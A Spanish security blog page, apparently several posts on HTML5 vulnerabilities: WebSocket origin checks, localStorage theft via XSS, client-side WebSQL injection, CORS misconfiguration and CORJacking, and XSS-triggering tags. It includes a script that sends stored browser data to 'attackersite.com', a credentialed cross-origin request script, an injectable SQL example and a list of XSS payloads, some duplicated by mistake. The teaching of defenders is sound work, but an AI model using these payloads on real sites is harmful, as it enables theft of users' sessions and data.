Para que el lector se haga una idea del problema, supongamos que la víctima ha iniciado sesión en un sitio web que tiene uno o varios endpoints “ws” o “wss” y en una pestaña nueva del navegador, ingresa en una página web maliciosa controlada por el atacante. Dicha página podría realizar una petición WebSocket contra el sitio web en el que el usuario se encuentra identificado y si dicho sitio web, no valida adecuadamente el valor de la cabecera “Origin”, la respuesta a la petición del atacante podrá contener, entre otras, las cookies y cabeceras de autenticación utilizadas por el usuario, sin importar que se trate de un dominio cruzado. Esta situación puede dar lugar a una vulnerabilidad del tipo CSRF.

En un próximo articulo, hablaré un poco más sobre cómo explotar algunas de las vulnerabilidades que se han listado aquí.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Configuraciones inseguras con CORS – Parte 1

octubre 8, 2014 1 comentario

HTML5 en una especificación muy conocida que permite a los desarrolladores crear aplicaciones del tipo RIA (Rich Internet Applications) y aunque incluye características que se encuentran soportadas en prácticamente todos los navegadores modernos, algunas de dichas características pueden representar problemas de seguridad muy serios que en versiones previas de HTML5 no se presentaban. HTML5 ahora es una combinación de varios elementos que permiten mejorar la navegabilidad y la experiencia de usuario gracias al uso de componentes como XMLHttpRequest2 (XHR-Level2), Web Sockets, Cross Origin Resource Sharing (CORS), localstorage, webSQL y otras mejoras relacionadas con el renderizado de componentes HTML en el navegador web. Muchas de estas nuevas características recaen directamente sobre el navegador del cliente y habilitan un espectro de ataque mucho más amplio que con versiones antiguas de la especificación, algo que los atacantes en Internet ahora buscan y explotan diariamente.
Algunos de los escenarios de ataque más comunes en navegadores y aplicaciones que soportan HTML5 y que no se encuentran debidamente aseguradas se listan a continuación.

CORS y ataques CSRF

SOP (Same Origin Policy) es una política que ha sido bastante efectiva a la hora de impedir que un dominio concreto pueda acceder a recursos de un dominio distinto. Por este motivo, gracias a SOP un dominio determinado no puede acceder directamente a los recursos (tales como cookies, árbol DOM, comunicaciones, etc) de un dominio distinto del suyo. En la especificación de HTML5, se ha implementado una característica interesante llamada CORS (Cross Origin Resource Sharing), la cual relaja un poco la política SOP y permite que los recursos de un dominio concreto se puedan compartir con otros dominios. Para hacer uso de esta característica, solamente es necesario utilizar algunas cabeceras HTTP que un navegador con soporte a CORS, entenderá y utilizará adecuadamente. El problema con este mecanismo, es que si no se configura adecuadamente, podría permitirle a un atacante acceder a recursos sensibles de un dominio concreto (como cookies de sesión) y llevar a cabo un ataque típico del tipo CSRF. Las cabeceras HTTP que le dan sentido CORS y que permiten una potencial brecha de seguridad son las siguientes:
Petición
Origin, Access-Control-Request-Method, Access-Control-Request-Headers
Respuesta
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Expose-Headers, Access-Control-Allow-Max-Age, Access-Control-Allow-Allow-Methods, Access-Control-Allow-Allow-Headers

Estas cabeceras son específicas para el funcionamiento de CORS y en el caso de que se encuentren incluidas en las respuestas devueltas por un servidor web, indica que CORS es soportado y que posiblemente, un atacante puede acceder a recursos compartidos a los que normalmente no debería tener autorización.

Ejemplo:
Suponiendo que la víctima tiene abierto en su navegador varias pestañas con sitios web en los que se encuentra navegando. Uno de dichos sitios tiene CORS habilitado y las respuestas a las peticiones incluyen la cabecera “Access-Control-Allow-Origin” con el valor “*” y otro de dichos sitios web es controlado por un atacante en Internet.
El atacante enviará un script malicioso al navegador de la víctima que se encargará de utilizar el objeto XMLHttpRequest para ejecutar una petición POST hacia el dominio que tiene CORS habilitado, es un dominio *distinto* del dominio del atacante y dicha petición será silenciosa y pasará inadvertida para el usuario, ya que su navegabilidad no se verá afectada y los componentes HTML que se encuentra visualizando no han tenido ningún tipo de cambio.
Con las condiciones descritas anteriormente, el atacante podrá acceder a datos sensibles del usuario que se encuentra autenticado en la aplicación web vulnerable, accediendo de esta forma a recursos tan importantes como la cookie de sesión del sitio web en el que el usuario se ha identificado, dando lugar a una fuga de información y posteriormente a un ataque de suplantación de identidad utilizando la información de acceso (cookie de sesión) del usuario identificado. En efecto, estamos hablando de un ataque clásico del tipo CSRF.
La siguiente imagen enseña un sitio web con CORS habilitado y como se puede apreciar, la cabecera “Access-Control-Allow-Origin” tiene el valor “*”

Sin nombre

Si el usuario se encuentra logueado y navega a un sitio web controlado por un atacante, el cual contiene un script como el que se enseña a continuación, el atacante podrá acceder a información sensible que le permitirá suplantar la identidad del usuario.

	<script language= “javascript” type= “text/javascript">
	function corsrequest() {
		var http;
		http = XMLHttpRequest();
		http.open(“POST”, “http://vulncors-site.com/”, true);
		http.setRequestHeader(“Content-Type”, “text/plain”);
		http.withCredentials= “true”;
		http.onreadystatechange = function() {
		if (http.readyState == 4) {
			var response = http.responseText
			document.getElementById(“responseFromVictim”).innerHTML = response;
		}
	}
	http.send(null)
	}
	</script>

Como se puede apreciar, el atacante realizará una petición “POST” al sitio web vulnerable con el fin de recuperar información sobre el usuario identificado en el sistema, para tal fin incluye el atributo “withCredentials” con el valor “true” para que el servidor web replique en la respuesta el contenido de la cookie de sesión del usuario. Hasta este punto, el atacante tiene todos los elementos necesarios para suplantar la identidad del usuario sin mayores dificultades, produciendo una vulnerabilidad del tipo CSRF.

CORS y CORJacking
Continuando con la explicación sobre las posibles brechas de seguridad que pueden incluirse con CORS, otro tipo de vulnerabilidad que se presenta en las aplicaciones web RIA con HTML5 es la conocida como CORJacking, la cual consiste en la capacidad que tiene un atacante de modificar dinámicamente la estructura DOM de un sitio web con CORS habilitado y mal configurado. De esta forma, el atacante podrá modificar algunos atributos de los elementos cargados en el árbol DOM del sitio web con CORS habilitado e incorrectamente configurado, para controlar la interacción del usuario con los contenidos del sitio web vulnerable.

Ejemplo:
Suponiendo que una aplicación web con CORS habilitado y mal configurado tiene un elemento dinámico como por ejemplo un fichero Flash, SilverLight o un fichero de vídeo o audio. Un atacante puede suplantar dicho contenido navegando por la estructura DOM y modificar la ubicación de dicho recurso por otra ruta que apunte a un recurso cuidadosamente creado por el atacante. Si el contenido dinámico servido por el atacante, tiene la misma apariencia visual que el contenido original de la aplicación web, el usuario no notará la diferencia y creerá que interactúa con el elemento original. Más grave aun, cuando se trata de contenidos Flash o similares que intervienen en operaciones de negocio de la aplicación, como por ejemplo un componente en Flash para recibir las credenciales de acceso de los usuarios.

Etiquetas, atributos y eventos HTML5 inseguros

Algunos etiquetas de las especificaciones anteriores de HTML contienen atributos y eventos muy interesantes que permiten que un usuario pueda interactuar de una forma mucho más amigable con dichos elementos, sin embargo, muchos de los nuevos atributos y etiquetas en HTML5 permiten la ejecución de código JavaScript, algo de lo que se podría aprovechar un atacante para producir vulnerabilidades XSS o CSRF.

Ejemplo:
Hay varios atributos y etiquetas nuevas en HTML5 que permiten la ejecución de código JavaScript de forma nativa. Una de las más comunes, es la etiqueta “video” y su atributo “onerror” que se activará automáticamente cuando el recurso que debe cargar la etiqueta “video” no puede cargarse.

<video source onerror="javascript:alert(‘XSS’)">

El atributo “autofocus” que en HTML5 se encuentra disponible en todos los elementos HTML de entrada, también puede representar un problema cuando no se valida adecuadamente el valor del atributo “onfocus” en el momento en el que se recarga la página.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Otro atributo potencialmente peligroso es “formaction” de la etiqueta “form”, el cual también admite la ejecución de código JavaScript.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Existen varias etiquetas y atributos que son consideradas peligrosas si no se aplican las validaciones de datos adecuadas, para ver una lista mucho más completa, se recomienda visitar el sitio HTML5 Security Cheatsheet: https://html5sec.org/

En una próxima entrada, más sobre riesgos y vulnerabilidades cuando en el uso de las nuevas características implementadas en HTML5

Un saludo y Happy Hack!

Hacking con Python Parte 16 – Twitter desde Python utilizando el protocolo OAuth

mayo 20, 2014 Deja un comentario

Uso de RAUTH para manejar los tokens y sesiones de OAUTH.
También se utiliza la librería python-twitter para gestionar alguna de las aplicaciones que podemos crear en una cuenta de Twitter.

Repositorio GIT de la serie:

https://github.com/Adastra-thw/pyHacks.git


Make a Donation Button

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.148 seguidores

A %d blogueros les gusta esto: